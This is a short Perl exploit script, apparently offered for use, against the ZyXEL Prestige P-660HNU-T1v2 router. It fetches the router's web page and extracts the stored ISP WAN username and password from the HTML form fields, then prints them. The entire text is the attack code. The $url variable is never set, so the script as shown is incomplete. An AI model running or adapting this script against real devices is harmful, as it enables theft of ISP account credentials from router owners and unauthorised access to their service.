#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;
print "\n\n************************************************************\n" ;
print "* ZyXEL Prestig MODELO P-660HNU-T1v2 local ISP usr+pwd *\n" ;
print "************************************************************\n\n" ;
my $ua = LWP::UserAgent->new();
$ua ->agent( "Mozilla/5.0" );
my $req = HTTP::Request->new(GET => $url );
my $request = $ua ->request( $req );
my $content = $request ->content();
my ( $usr ) = $content =~ m/name= "wan_UserName" size= "30" maxlength= "128" value= "(.+)" >/;
my ( $pwd ) = $content =~ m/name= "wan_Password" size= "30" maxlength= "128" value= "(.+)" >/;
print "User: $usr\n" ;
print "Password: $pwd\n\n" ;
exit (0);
__EOF__
|